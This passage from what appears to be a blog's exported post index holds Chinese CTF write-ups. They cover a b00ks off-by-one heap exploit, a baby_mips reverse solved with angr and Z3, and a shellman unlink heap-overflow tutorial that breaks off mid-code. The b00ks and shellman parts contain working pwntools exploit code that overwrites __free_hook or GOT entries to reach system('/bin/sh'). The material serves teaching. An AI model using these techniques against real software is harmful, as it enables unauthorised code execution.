RELRO`保护措施,无法对`GOT`进行改写,但是可以改写`__free_hook`或`__malloc_hook`。\n\n结合前面泄露的`book2_name_ptr`和计算得到的偏移,可以计算出libc的基址,进一步可得到`__free_hook`和`system`函数运行时的地址,以及libc中字符串\"/bin/sh\"的地址。之后将`__free_hook`指向的内容修改为`system`的地址,在调用`free`函数时,由于`__free_hook`里面的内容不为`NULL`,从而执行指向的指令。\n\n完整的漏洞利用代码如下:\n\n```python\n#!/usr/bin/env python\n\nfrom pwn import *\n\ncontext(log_level='debug', os='linux')\n\ndef create_book(target, name_size, book_name, desc_size, book_desc):\n target.recv()\n target.sendline('1')\n target.sendlineafter('Enter book name size: ', str(name_size))\n target.sendlineafter('Enter book name (Max 32 chars): ', book_name)\n target.sendlineafter('Enter book description size: ', str(desc_size))\n target.sendlineafter('Enter book description: ', book_desc)\n\ndef delete_book(target, book_id):\n target.recv()\n target.sendline('2')\n target.sendlineafter('Enter the book id you want to delete: ', str(book_id))\n\ndef edit_book(target, book_id, book_desc):\n target.recv()\n target.sendline('3')\n target.sendlineafter('Enter the book id you want to edit: ', str(book_id))\n target.sendlineafter('Enter new book description: ', book_desc)\n\ndef print_book(target):\n target.recvuntil('>')\n target.sendline('4')\n\ndef change_author_name(target, name):\n target.recv()\n target.sendline('5')\n target.sendlineafter('Enter author name: ', name)\n\ndef input_author_name(target, name):\n target.sendlineafter('Enter author name: ', name)\n\nDEBUG = 0\nLOCAL = 1\n\nif LOCAL:\n target = process('./b00ks')\nelse:\n target = remote('127.0.0.1', 5678)\n\nlibc = ELF('./libc.so.6')\n# used for debug\nimage_base = 0x555555554000\n\nif DEBUG:\n pwnlib.gdb.attach(target, 'b *%d\\nc\\n' % (image_base+0x1245))\n\ninput_author_name(target, 'a'*32)\ncreate_book(target, 140 ,'book_1', 140, 'first book created')\n\n# leak boo1_struct addr\nprint_book(target)\ntarget.recvuntil('a'*32)\ntemp = target.recvuntil('\\x0a')\nbook1_struct_addr = u64(temp[:-1].ljust(8, '\\x00'))\nbook2_struct_addr = book1_struct_addr + 0x30\n\ncreate_book(target, 0x21000, 'book_2', 0x21000, 'second book create')\n\n# fake book1_struct\npayload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)\nedit_book(target, 1, payload)\n\nchange_author_name(target, 'a'*32)\n# leak book2_name ptr\nprint_book(target)\n\ntarget.recvuntil('Name: ')\ntemp = target.recvuntil('\\x0a')\nbook2_name_ptr = u64(temp[:-1].ljust(8, '\\x00'))\n\n# find in debug: mmap_addr - libcbase\noffset = 0x7ffff7fd2010 - 0x7ffff7a0d000\nlibcbase = book2_name_ptr - offset\n\nfree_hook = libc.symbols['__free_hook'] + libcbase\nsystem = libc.symbols['system'] + libcbase\nbinsh_addr = libc.search('/bin/sh').next() + libcbase\n\npayload = p64(binsh_addr) + p64(free_hook)\nedit_book(target, 1, payload)\n\npayload = p64(system)\nedit_book(target, 2, payload)\n\ndelete_book(target, 2)\ntarget.interactive()\n```\n\n### 相关链接\n\n+ [ASIS CTF Quals 2016 b00ks Writeup](https://amritabi0s.wordpress.com/2016/06/11/asis-ctf-quals-2016-b00ks-writeup/)\n+ [Asis CTF 2016 b00ks](https://bbs.pediy.com/thread-225611.htm)\n+ [堆中的 Off-By-One](https://ctf-wiki.github.io/ctf-wiki/pwn/heap/off_by_one/)\n\n### 附件下载\n\n[b00ks](./samples.zip)","tags":["pwn"],"categories":["CTF"]},{"title":"Solve baby_mips with angr","url":"/2018/05/07/Solve-baby-mips-with-angr/","content":"\n### 背景\n\n`baby_mips`是DDCTF 2018 逆向的第1题,是MIPS指令架构的。MIPS指令架构是一种采用精简指令集的处理器架构,常用于路由器等嵌入式设备中。\n\n### 静态分析\n\n使用`file`命令查看文件格式,如下。可以看到程序为MIPS架构 小端格式,同时是通过静态链接生成的。\n\n```\n$ file baby_mips\nbaby_mips: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, stripped\n```\n\n<!-- more -->\n\n使用IDA Pro加载程序后,查看程序的字符串列表,如下:\n\n```\n.rodata:00412FC0 00000009 C Var[0]: \n.rodata:00412FD0 00000009 C Var[1]: \n.rodata:00412FDC 00000009 C Var[2]: \n.rodata:00412FE8 00000009 C Var[3]: \n.rodata:00412FF4 00000009 C Var[4]: \n.rodata:00413000 00000009 C Var[5]: \n.rodata:0041300C 00000009 C Var[6]: \n.rodata:00413018 00000009 C Var[7]: \n.rodata:00413024 00000009 C Var[8]: \n.rodata:00413030 00000009 C Var[9]: \n.rodata:0041303C 0000000A C Var[10]: \n.rodata:00413048 0000000A C Var[11]: \n.rodata:00413054 0000000A C Var[12]: \n.rodata:00413060 0000000A C Var[13]: \n.rodata:0041306C 0000000A C Var[14]: \n.rodata:00413078 0000000A C Var[15]: \n.rodata:00413084 00000036 C The flag is: DDCTF{%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c}\\n\n.rodata:004130BC 00000006 C Wrong\n... ...\n```\n\n查找字符串`The flag is: DDCTF ...`的交叉引用,进入sub_403238函数。在函数开始处,调用了sub_4044d0、sub_4038a0等函数,根据字符串信息,猜测可能是读取输入。之后,在0x40365c处跳转到loc_400420处执行代码,之后根据v0的值进行判断,如下:\n\n<img src=\"images/baby_mips_1.png\">\n\n跳转到loc_400420处,代码比较乱,存在很多IDA无法识别的代码块,同时中间夹杂着很多数据,导致无法分析具体的处理流程。下面尝试进行动态调试分析。\n\n### 动态分析\n\n#### 环境搭建\n\n由于程序是MIPS指令架构的,而通常我们使用的电脑是x86架构的,无法直接运行该程序,这时可以借助Qemu模拟器来运行程序。QEMU是运行在用户层的开源全虚拟化解决方案,可以在Intel机器上虚拟出完整的操作系统 。QEMU主要有两种运作模式:\n\n- `User Mode`:即使用者模式,能单独运行那些为不同处理编译的Linux程序;\n- `System Mode`:即系统模式,能够模拟整个系统,包括中央处理器及其他周边设备。\n\n由于`baby_mips`程序是通过静态链接生成的,为了方便,在`User Mode`下使用QEMU来运行该程序。以Ubuntu为例,首先安装qemu-static,如下:\n\n```shell\n$ sudo apt-get install qemu-static\n```\n\n安装完成后,运行该程序,如下。根据提示随便输入几个数字,提示`Illegal instruction`。\n\n```shell\n$ qemu-mipsel-static ./baby_mips\nVar[0]: 0\nVar[1]: 1\nVar[2]: 2\nVar[3]: 3\nVar[4]: 4\nVar[5]: 5\nVar[6]: 6\nVar[7]: 7\nVar[8]: 8\nVar[9]: 9\nVar[10]: 10\nVar[11]: 11\nVar[12]: 12\nVar[13]: 13\nVar[14]: 14\nVar[15]: 15\nqemu: uncaught target signal 4 (Illegal instruction) - core dumped\nIllegal instruction (core dumped)\n```\n\n下面通过动态调试来定位错误。\n\n#### 动态调试\n\nqemu系列命令提供了一个`-g`选项,用来等待外部的gdb调试器连接。下面指定`1234`端口来等待调试器连接,如下:\n\n```shell\n$ qemu-mipsel-static -g 1234 ./baby_mips\n```\n\n之后可以采用gdb调试器来进行调试,这里使用IDA Pro来进行调试。首先选择调试器为\"Remote GDB debugger\"\n\n<img src=\"images/baby_mips_2.png\">\n\n之后,在\"Debugger\"->\"Process options\"中设置对应的参数\n\n<img src=\"images/baby_mips_3.png\">\n\n然后,点击\"Debugger\"->\"Attach to process\"即可开始调试。通过跟踪程序的执行流程,发现当程序运行到0x400430时会提示错误`Illegal instruction`。\n\n```assembly\n.text:00400420 loc_400420: # CODE XREF: sub_403238+424\u0019p\n.text:00400420 addiu $sp, -0x410\n.text:00400424 sw $fp, 0x40C($sp)\n.text:00400428 move $fp, $sp\n.text:0040042C sw $a0, 0x410($fp)\n.text:00400430 lwc1 $f29, 0x2EB($t1)\n.text:00400434 li $v0, 0x1EF9\n.text:00400438 sw $v0, 8($fp)\n.text:0040043C lw $v0, 8($fp)\n.text:00400440 sll $v0, 1\n.text:00400444 sw $v0, 8($fp)\n.text:00400448 lwu $s6, 0x2EB($s6)\n.text:0040044C li $v0, 0xBD5A\n.text:00400450 sw $v0, 0xC($fp)\n.text:00400454 lw $v0, 0xC($fp)\n.text:00400458 xori $v0, 8\n```\n\n查找`lwc1`指令的含义,发现是与协处理器相关的指令。通过对后面的代码块进行分析发现,后面并没有用到`$f29`和`$t1`寄存器的内容,于是尝试利用Keypatch插件直接将0x400430处的指令`lwc1 $f29, 0x2EB($t1)`给`nop`掉。之后,再次运行程序并进行调试,程序运行到0x400448时又报错。同样采用`nop`指令的方式patch后,程序运行到0x400468时再次报错。通过分析发现,这些报错的指令的机器码均以`EB 02`开始,因此尝试编写脚本将所有类似的指令`nop`掉。\n\n<img src=\"images/baby_mips_4.png\">\n\n#### 程序“修复”\n\n由于MIPS指令是定长的,均为4个字节。因此,可以在选定的代码块中,将所有以`EB 02`开始的4字节数据全部替换成`00 00 00 00`,脚本如下:\n\n```python\nimport idautils\nimport idc\nimport idaapi\n\nstart_addr = 0x400420\nend_addr = 0x403234\nwhile start_addr <= end_addr:\n if Byte(start_addr) == 0xeb and Byte(start_addr +1) == 0x2:\n PatchByte(start_addr,0x00)\n PatchByte(start_addr+1,0x00)\n PatchByte(start_addr+2,0x00)\n PatchByte(start_addr+3,0x00)\n start_addr += 4\n```\n\n> 在MIPS指令中,`nop`对应的机器码为`00 00 00 00`\n\n运行脚本后,选择\"Edit\"->\"Patch program\"->\"Apply patch into input file...\",将更改保存到程序中。\n\n之后,手动将从0x400420开始的代码块中夹杂的数据转换成代码,然后将0x400420处的代码转换成函数。之后就可以很清楚地看到函数0x400420内部的处理流程了。\n\n### 求解\n\n#### angr求解\n\n通过对sub_0x400420函数内部的流程进行分析,其主要是对输入进行一系列运算,然后对运算结果进行校验,如果都满足则返回1,不满足则返回0。\n\n虽然函数sub_0x400420内部的逻辑并不复杂,但是计算过程较多,比较繁琐,这时可以利用angr框架进行符号执行求解,而不用去理解具体的运算过程。angr是一个基于python的二进制漏洞分析框架,里面集成了多种主流的分析技术,能够进行动态的符号执行分析,也能够进行多种静态分析。近几年,其在CTF中的运用也很火。\n\n通过静态分析可知,程序在0x40365c处调用sub_400420函数,其参数通过寄存器`a0`传递,然后返回值保存在`v0`寄存器中。之后对`v0`的内容进行判断,如果为1则输出flag(flag与用户输入的内容相关),为0则输出\"Wrong\"。因此,只需要求解输入,保证sub_400420的返回值为1即可。\n\n```assembly\n.text:00403650 lw $gp, 0x98+var_50($fp)\n.text:00403654 addiu $v0, $fp, 0x98+var_48\n.text:00403658 move $a0, $v0\n.text:0040365C jal sub_400420\n.text:00403660 nop\n.text:00403664 lw $gp, 0x98+var_50($fp)\n.text:00403668 beqz $v0, loc_403714\n.text:0040366C nop\n```\n\n使用angr进行求解的脚本如下。其中,`find_address`是使得函数sub_400420返回值为1的地址,而`avoid_address`是使得函数sub_400420返回值为0的地址。同时,将输入的16个数字保存在内存地址0x10000000处,然后将其赋值给`a0`寄存器,实现参数的传递。之后,直接从函数sub_400420的开始处开始分析。\n\n```python\n#!/usr/bin/env python\n\nimport angr\n\nproject = angr.Project('./baby_mips', load_options={'auto_load_libs':False})\n\nstart_address = 0x400420\nmemory_address = 0x10000000\n\nfind_address = 0x403220\navoid_address = (0x401a08, 0x401ba0,0x401d38, 0x401ed4, 0x402070, 0x40220c, 0x4023a4, 0x402540, 0x4026dc, 0x402878, 0x402a10, 0x402ba8, 0x402d44, 0x402edc, 0x403074, 0x403210)\n\nstate = project.factory.blank_state(addr=start_address, add_options={angr.options.LAZY_SOLVES})\n\nfor i in xrange(16):\n state.memory.store(memory_address+i*4, state.solver.BVS('a%d' % i, 32), endness=state.arch.memory_endness)\n\nstate.regs.a0 = memory_address\n\n# add LAZY_SOLVES to speed up\nsimgr = project.factory.simulation_manager(state)\n\nsimgr.explore(find=find_address, avoid=avoid_address)\n\nif simgr.found:\n find_state = simgr.found[0]\n\n # add constraints to reduce the keyspace\n for i in xrange(16):\n value = find_state.memory.load(memory_address+i*4,4, endness=find_state.arch.memory_endness)\n find_state.add_constraints(value > 0, value < 127)\n\n flag = [find_state.se.eval(find_state.memory.load(memory_address+i*4, 4, endness=find_state.arch.memory_endness)) for i in xrange(16)]\n print ''.join(map(chr,flag))\n```\n\n#### Z3求解\n\n这里也给出使用Z3进行求解的过程。Z3是由微软开发的一个约束求解器,可以简单的理解它是解方程的神器。\n\n函数sub_400420内部对参数的处理过程其实就是一个16元1次方程组,将输入看作是16个未知数,需要记录每个未知数前面的系数以及具体的运算过程。最直观的方式是单步跟踪程序的执行流程,一个一个地进行记录,但这个过程有点繁琐。通过分析,发现真正的计算是从0x40187c处开始,而且系数在内存空间是连续存放的。\n\n```assembly\n.text:0040187C lw $v0, 0x410+var_408($fp)\n.text:00401880 negu $v1, $v0\n.text:00401884 lw $v0, 0x410+arg_0($fp)\n.text:00401888 lw $v0, 0($v0)\n.text:0040188C mul $v1, $v0\n.text:00401890 lw $a0, 0x410+var_404($fp)\n.text:00401894 lw $v0, 0x410+arg_0($fp)\n.text:00401898 addiu $v0, 4\n.text:0040189C lw $v0, 0($v0)\n.text:004018A0 mul $v0, $a0, $v0\n.text:004018A4 subu $v1, $v0\n.text:004018A8 lw $a0, 0x410+var_400($fp)\n.text:004018AC lw $v0, 0x410+arg_0(\n```\n\n因此可以直接在0x40187c处下断点,然后将`0x410+var_408($fp)`到`0x410+var_C($fp)`这段内存空间的内容在动态调试的过程中dump下来,如下:\n\n<img src=\"images/baby_mips_5.png\">\n\n然后再通过查看具体的运算操作指令即可\n\n<img src=\"images/baby_mips_6.png\">\n\n得到系数和具体的运算操作后,就可以使用Z3进行求解了,如下:\n\n```python\n#!/usr/bin/env python\n\nfrom z3 import *\n\na = [BitVec('a%d' %i, 32) for i in xrange(16)]\n\ns = Solver()\ns.add(0xffffc20e*a[0]-0xbd52*a[1]+0x7f57*a[2]+0x96cd*a[3]-0xac7f*a[4] +0x5d80*a[5]+0xb25e*a[6]+0x2447*a[7]+0xba8a*a[8]+0xbb41*a[9]+0xa3a8*a[10]+0xcb12*a[11]-0x6958*a[12]+0x5821*a[13]+0x77ed*a[14]+0xf7ff*a[15] == 0x162f0ca )\ns.add(0xeb44*a[0]-0x0f99*a[1] - 0x40e7*a[2] +0xdf2e*a[3] -0x4b2e*a[4] -0x96b5*a[5] +0x9d66*a[6] -0xafa8*a[7] -0x6e26*a[8] -0xe655*a[9]- 0x9a6e*a[10] +0x57ba*a[11] -0x227c*a[12] +0xbdd1*a[13] +0xb437*a[14] +0x5d3f*a[15]== 0xffec2e48)\ns.add(0xe6f1*a[0] +0xa4b2*a[1] -0xfe74*a[2] -0x0f07*a[3] -0x5d22*a[4] -0xb845*a[5] -0x9954*a[6] +0x93ac*a[7] -0x51e4*a[8] -0x4b11*a[9] +0xdc93*a[10] +0x13f8*a[11] +0x246c*a[12] +0xf121*a[13] +0xf09f*a[14] +0x0dfa*a[15] == 0xd3c060)\ns.add(0xffff7085*a[0] -0x6623*a[1] +0x0686*a[2] +0x4b2d*a[3] +0x68df*a[4] +0x9be7*a[5] +0x21b4*a[6] +0xe25a*a[7] -0xc807*a[8] +0xf695*a[9] -0x5421*a[10] -0x2469*a[11] +0x9f29*a[12] -0xe311*a[13] +0x78f2*a[14] -0x6bda*a[15] == 0x8bf576)\ns.add(0xffff07b8*a[0] -0xd048*a[1] -0x85f1*a[2] +0xee84*a[3] -0x37d1*a[4] +0xb74a*a[5] +0xcfe2*a[6]+ 0x8f1e*a[7] -0xf211*a[8] -0x83bf*a[9] -0x1249*a[10] +0x7ea7*a[11] -0x4294*a[12] -0xb661*a[13] -0x8a73*a[14] -0x5e5c*a[15] == 0xff4ea5b3)\ns.add(0xffffd6b5*a[0] -0x2b5f*a[1]+ 0xc981*a[2] -0x60c3*a[3] +0xf8f2*a[4]+ 0xded7*a[5]- 0xf6fb*a[6] +0x1083*a[7]- 0xdc96*a[8]- 0x587e*a[9] -0xb4f5*a[10] +0xf57a*a[11] +0x57d0*a[12] +0xe814*a[13] +0x6169*a[14] +0xf285*a[15] == 0x9dd61e)\ns.add(0xcd89*a[0] -0xd43d*a[1] +0xf037*a[2] +0x83a8*a[3] -0xa305*a[4] -0xadef*a[5] +0xcaaa*a[6] -0xf145*a[7]- 0x6073*a[8]- 0x2777*a[9] +0x794f*a[10] +0xf00e*a[11] -0xe7d5*a[12] +0x2654*a[13] -0xbed0*a[14] -0xb8af*a[15] == 0xff6baab3)\ns.add(0xffff6108*a[0] -0x6766*a[1] +0xd58e*a[2] -0x5ca3*a[3] +0x2718*a[4] +0x1e2b*a[5] -0xf49e*a[6] +0xcf78*a[7] +0x7c09*a[8] -0x13b7*a[9] -0xbeee*a[10]- 0xe450*a[11] +0x4da3*a[12] -0x8880*a[13] -0x5691*a[14] +0x8bd8*a[15] == 0xff818f06)\ns.add(0xffffa564*a[0] -0xa95a*a[1] -0xe643*a[2] +0x0d38*a[3] -0x097a*a[4] -0xeb22*a[5] +0xcac3*a[6] -0x4ed1*a[7] -0x7c8a*a[8] +0xf107*a[9] +0xa59e*a[10]- 0x1213*a[11] +0xb2b5*a[12] -0x7213*a[13] -0x2b83*a[14] -0xa155*a[15] == 0xff8d50e7)\ns.add(0xffff6c45*a[0] -0x2752*a[1] -0xbdc3*a[2] -0xf495*a[3] -0x7121*a[4] +0x9c41*a[5] -0x9465*a[6]- 0x6ce3*a[7] -0x4f28*a[8] -0x8350*a[9] -0x176e*a[10] +0x7814*a[11] -0x739a*a[12] +0x5494*a[13] +0x142d*a[14] +0xca55*a[15] == 0xff3f9826)\ns.add(0xcf01*a[0] +0xf378*a[1] +0x1064*a[2] -0xd9a7*a[3] -0x077d*a[4]+ 0x6dab*a[5] -0xaf1f*a[6]- 0x3db7*a[7] +0x3554*a[8] -0xcb8e*a[9] -0x9815*a[10]+ 0xf30b*a[11] +0x9c5e*a[12] -0x5d07*a[13] -0x4c31*a[14] +0xeae0*a[15] == 0x213fed)\ns.add(0x8bd4*a[0] -0x6d81*a[1] -0xe772*a[2] +0xb6f1*a[3] +0x9b57*a[4] -0x597d*a[5] +0x15d1*a[6]- 0xa55e*a[7]+ 0xfd13*a[8]+ 0x17b4*a[9] +0xec78*a[10] -0xd51a*a[11] +0x56ad*a[12] -0xc319*a[13] +0x9f8e*a[14] +0xfa17*a[15] == 0xa9f0dc)\ns.add(0xffffb798*a[0] -0x8bef*a[1] +0x109d*a[2]- 0xf9d4*a[3] +0x4ecf*a[4] +0xa896*a[5] +0x773b*a[6] +0x6e8a*a[7] -0x737c*a[8]+ 0x4979*a[9] +0xc685*a[10] -0x96ae*a[11] +0x0bbd*a[12] +0x8280*a[13] +0xe3a9*a[14] -0x730c*a[15] == 0xbdeb20)\ns.add(0x0b20*a[0] +0x9b9c*a[1] +0xb4aa*a[2]+ 0x6176*a[3] +0x9670*a[4] +0x7c9d*a[5] -0x5402*a[6] -0x8cd2*a[7] +0xac82*a[8] +0xa2f5*a[9] -0x8efd*a[10] -0x65f1*a[11] -0x94b9*a[12] +0x8cb8*a[13] +0x1cb5*a[14] +0x4aa1*a[15] == 0x9c7cf5)\ns.add(0x57fd*a[0] +0x3d83*a[1] +0xf745*a[2] +0xa5c4*a[3] -0x65fa*a[4] -0x58e9*a[5] +0xbebe*a[6] +0x1820*a[7] -0xd7b9*a[8] -0xb21f*a[9] -0x76a0*a[10] +0xc60d*a[11] +0x168f*a[12] +0x2a96*a[13] +0x31d6*a[14] -0x4b88*a[15] == 0xd08e2)\ns.add(0xffff1bae*a[0] -0xc7d4*a[1] -0x1554*a[2] +0x7eea*a[3] -0x684d*a[4] +0x6adb*a[5] +0x8534*a[6] -0x3a36*a[7] +0x29f0*a[8] +0xd3f2*a[9] -0x23e5*a[10] -0x6540*a[11] +0xbcd3*a[12] -0xef9b*a[13] +0xefdb*a[14] -0x774e*a[15] == 0x178803)\n\nfor item in a:\n s.add(item > 0, item < 127)\n\nif s.check() == sat:\n m = s.model()\n flag = []\n for i in xrange(16):\n flag.append(m[a[i]].as_long())\n print ''.join(map(chr, flag))\n```\n\n### 其他\n\nIDA Pro暂时不支持将MISP汇编代码转换成类C代码,即所谓的F5功能。目前,可以反编译MIPS汇编代码的工具主要有两个:\n\n- [Retargetable Decompiler](https://retdec.com/home/)\n- [JEB Decompiler for MIPS](https://www.pnfsoftware.com/jeb2/mips)\n\n### 相关链接\n\n- [QEMU, the FAST! processor emulator](https://www.qemu.org/)\n- [Keypatch](http://www.keystone-engine.org/keypatch/)\n- [angr](http://angr.io/index.html])\n- [Z3 API in Python](http://ericpony.github.io/z3py-tutorial/guide-examples.htm)\n\n### 附件下载\n\n[baby_mips](samples.zip)","tags":["逆向","angr"],"categories":["CTF"]},{"title":"2015强网杯pwn之shellman","url":"/2016/04/27/2015强网杯pwn之shellman/","content":"\n### 堆溢出原理\n\n相比栈溢出而言,堆溢出的原理类似,但是堆溢出的利用则更复杂,因为`glibc`堆管理机制比较复杂。\n\n堆溢出的利用主要围绕在`bin`中`free chunk`的合并过程,在两个`free chunk`的合并过程中,有两次改写地址的机会。例如,对于将要合并的`chunk P`,在合并发生时,`glibc`将`chunk P`从`binlist`中`unlink`掉,其中涉及到以下指针操作:\n\n```c\nFD = P -> fd; // FD为相对于P下一个chunk的地址\nBK = P -> bk; // BK为相对于P上一个chunk的地址\nFD -> bk = BK; //用上一个chunk的地址去改写下一个chunk的前向指针bk,即改写FD+12(32 bits)或FD+24(64 bits)地址中的内容\nBK -> fd = FD; //用下一个chunk的地址去改写上一个chunk的后向指针fd,即改写BK+8(32 bits)或BK+16(64 bits)地址中的内容\n```\n\n<!-- more -->\n\n注意上面的最后两行等号,实际是两次改写地址。如果`P`是攻击者精心伪造的`chunk`,那么在`unlink P`时,可改写`FD+12`或`BK+8`(32 bits)为攻击者指定的地址。例如,攻击者可以结合程序的具体情况,使`P`具备被`unlink`的条件(主要是设置`prev_size`和`size`),并且有\n\n```c\nFD = free@got -12\nBK = shellcode地址\n```\n\n这样在`unlink`发生时,`FD->bk = free@got-12+12 = free@got`,其内容将被`shellcode`地址改写。程序在下一次执行`free`时,实际将执行`shellcode`。这就是堆溢出的基本原理。\n\n在新版本的`glibc`中,在`unlink p`时还增加了一些安全检查机制,如下\n\n```c\nif (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \n malloc_printerr (check_action, \"corrupted double-linked list\", P);\n```\n\n它会检查下一个`chunk`的`bk`和上一个`chunk`的`fd`是否均为`P`。因此上面的利用方法已经不可行了,因为`FD->bk`变成了`free@got`,而`BK->fd`变成了`shellcode的地址+8`。\n\n为了绕过检查,需要找一个内存可控的已知地址`ptr`(设`*ptr = pControllable`,`pControllable`开始的内存可控),以32位系统为例,伪造\n\n```c\nP->fd = ptr - 12\nP->bk = ptr - 8\n```\n\n则有`FD->bk = BK->fd`。此时,当`unlink P`发生时,`ptr`这个地址中的值被改写了两次,第一次改写为`ptr-8`,第二次改写为`ptr-12`,最终改写为`ptr-12`。此时,有`pControllable=ptr-12`,故`ptr-12`开始的内存空间可控,如果在`ptr-12`开始的内存空间填入内容,就又可以改写`ptr`这个地址存储的内容`pControllable`。例如,可以改写`pControllable`为`GOT`表中的函数地址如`free@got`,把`free@got`这个地址的内容改写为`system@got`,那么在下次调用`free`时,就会调用`system`函数以实现代码执行。\n\n### shellman分析\n\n首先观察题目,shellman主要有以下几个功能:\n\n+ list shellcode:显示已建立的堆块(chunk)中存储的内容\n+ new shellcode:建立一个新的堆块,大小和内容由用户决定\n+ edit shellcode:对一个已经分配的堆块做编辑,在编辑时没有对大小进行限制,若太长可造成缓冲区溢出\n+ delete shellcode:释放一个已经分配的堆块\n\n<img src=\"images/shellman_function.png\">\n\n在建立一个新的堆块时,会用一个全局数组存储已分配堆块的地址、长度以及本堆块是否占用等信息。由于bss段的地址固定,这个全局数组的存在使得漏洞利用变得非常简单。\n\n<img src=\"images/shellman_save_info.png\" style=\"zoom:90%\">\n\n<img src=\"images/shellman_global_array.png\" style=\"zoom:80%\">\n\n基于`unlink`操作进行漏洞利用的思路如下:\n\n+ 分配两个长度合适的堆块,可以使用小于512字节的`small bin`(注意不要使用`fast bin`,因为其在释放时会保持`busy`状态,不会进行合并)。此时`chunk0`和`chunk1`被占用,没有`fd`和`bk`两个指针。\n 可以看到,先后分配了两个大小均为0xa0的`chunk`,其状态均为占用状态。说明:用户区的大小为0xa0,加上头部的0x10,`chunk`的总大小为0xb0。\n\n<img src=\"images/shellman_gdb_debug_1.png\" style=\"zoom:90%\">\n\n+ 对`chunk0`进行编辑,并溢出到`chunk1`。在`chunk` `malloc`返回地址开始的内存处伪造一个`chunk P`,设置相应的`prev_size、size`&`flag`。同时设置`chunk1`的`prev_size`以及`size`&`flag`(`prev_size`应为`P`的`size`,且`flag`的`p`位设置为0,使`glibc`认为前一个`chunk P`的状态是`free`状态)。\n\n 伪造`chunk P`时的`payload`如下:\n\n ```python\n malloc_ptrs = 0x6016d0\n payload = p64(0) + p64(0xa0 | 1) + p64(malloc_ptrs-0x18) + p64(malloc_ptrs - 0x10) + 'a' * 0x80 + p64(0xa0) + p64(0xb0)\n ```\n\n 伪造后,chunk 0的内容如下。\n\n<img src=\"images/shellman_gdb_debug_2.png\" style=\"zoom:90%\">\n\n+ 删掉`chunk1`,触发`unlink(p)`,将`p`改写。在删除`chunk1`时,`glibc`会检查`size`部分的`prev_inuse`,发现前一个`chunk`是空闲的(实际是伪造的`chunk P`),`glibc`希望将即将出现的空闲块合并。`glibc`会先将伪造的`chunk P`从它的`binlist`中解引用,所以触发`unlink P`。\n 这里寻找的内容可控的已知地址就是`bss`段存储已分配堆块地址的全局数组`ptr=0x6016d0`(根据程序逻辑,`*ptr=*0x6016d0=pControllable`,是已分配堆块,内容可编辑)。在`unlink P`触发之前,`0x6016b8`地址空间中的内容如下。\n\n<img src=\"images/shellman_gdb_debug_3.png\" style=\"zoom:90%\">\n\n\t`unlink P`触发后会执行以下操作,`0x6016b8`地址空间中的内容如下。\n\n\n ```c\n FD = p->fd // 即0x6016d0 - 0x18 (64位系统)\n BK = p->bk // 即0x6016d0 - 0x10\n // 满足之前提到的限制,因为FD->bk 和BK->fd均为0x6016d0中保存的内容(即p)\n FD->bk = BK\n Bk->fd = FD // *ptr = 0x6016d0 - 0x18\n ```\n\n<img src=\"images/shellman_gdb_debug_4.png\" style=\"zoom:90%\">\n\n+ 对`chunk 0`进行编辑。由于已分配堆块地址保存在全局数组中,因此程序认为`*ptr = *(0x6016d0-0x18)`为已分配的第一个堆块。此时对`(0x6016d0-0x18)`开始的内存地址空间进行编辑,将`free@got`的地址写入`0x6016d0`,写入的时候注意不要破坏全局数组中堆块的长度及是否被占用等信息。\n\n ```python\n payload = p64(0) + p64(0x1) + p64(0xa0) + p64(free_got) + p64(0x1)\n ```\n\n<img src=\"images/shellman_gdb_debug_5.png\" style=\"zoom:90%\">\n\n+ 由于`*ptr=free@got`了,只需要使用list功能便可以知道`free()`函数的真实地址,再根据对应libc中的偏移,算出`system()`函数的地址。同样,程序认为`*ptr`为已分配的第一个堆块,再次对`chunk 0`进行编辑,将`free@got`存储的内容改写为计算得到的`system()`函数的地址。由于已经将`free()`替换成`system()`函数了,只要再建立一个内容为`\"/bin/sh\"`的块,再将其释放,就可以得到`shell`了。\n\n> 说明:在第一次对`chunk 0`进行编辑使其溢出时,需要在`chunk 0 malloc`的返回地址处伪造一个`chunk`,而不能直接利用原有`chunk 0`的结构进行伪造。如果利用原有的`chunk 0`结构进行伪造,伪造后`chunk 0`的内容如下。同样在`unlink P`时会进行对应的安全检查,此时`FD->bk`和`BK->fd`均为`0x6016d0`中保存的内容,即下图中`ptr'`指针,而目前的`P`指针为`ptr`,由于两者不相等,无法通过安全检查。\n>\n> <img src=\"images/shellman_fake_chunk.png\" style=\"zoom:90%\">\n\n完整的漏洞利用代码如下。\n\n```python\n#!/usr/bin/env python\n# -*- coding:utf-8\n\nfrom pwn import *\n\ndef list_shellcode(target):\n\ttarget.recvuntil('>')\n\ttarget.sendline('1')\n\ndef new_shellcode(target, content):\n\ttarget.recvuntil('>')\n\ttarget.sendline('2')\n\ttarget.recv()\n\ttarget.sendline(str(len(content)))\n\ttarget.recv()\n\ttarget.send(content)\n\ndef edit_shellcode(target, num, content):\n\ttarget.recvuntil('>')\n\ttarget.sendline('3')\n\ttarget.recv()\n\ttarget.sendline(str(num))\n\ttarget.recv()\n\ttarget.sendline(str(len(content)))\n\ttarget.recv()\n\ttarget.send(content)\n\ndef delete_shellcode(target, num):\n\ttarget.recvuntil('>')\n\ttarget.sendline('4')\n\ttarget.recv()\n\ttarget.sendline(str(num))\n\ntarget = process('./shellman')\nelf = ELF('./shellman')\n\nbin_shell = '/bin/sh\\x00'\nmalloc_ptrs = 0x6016d0\nfree_got = elf.got['free']\n\nnew_shellcode(target, 'a'*0xa0)\t\t# chunk0\nnew_shellcode(target, 'b'*0xa0)\t\t# chunk1\nnew_shellcode(target, bin_shell+'c'*(0xa0-len(bin_shell)))\t\t# '\\x00' don't cut the content\n\n# fake a chunk, start from the data position of chunk0 \n# Note: 1) the size of original chunk1 is 0xa0 + 0x8*2 = 0xb0, we just change the prev_inuse bit\n# \t2 ) we have to fake a chunk. If we just use the chunk0 , it will fail to pass the check.\n#\tif payload = p64(malloc_ptrs-0x18) + p64(malloc_ptrs - 0x10) + 'a' * 0x90 + p64(0xb0) + p64(0xb0)\n#\twhen unlink chunk0, we have FD = p->fd = malloc_ptrs-0x18, BK=p->bk=malloc_ptrs-0x10\n#\tthen, FD->bk=*(malloc_ptrs-0x18+0x18)=*malloc_ptrs=p+0x10\n#\tfor FD-bk != p, also BK->fd != p, so it will failed.\npayload = p64(0) + p64(0xa0 | 1) + p64(malloc_ptrs-0x18) + p64(malloc_ptrs - 0x10) + 'a' * 0x80 + p64(0xa0) + 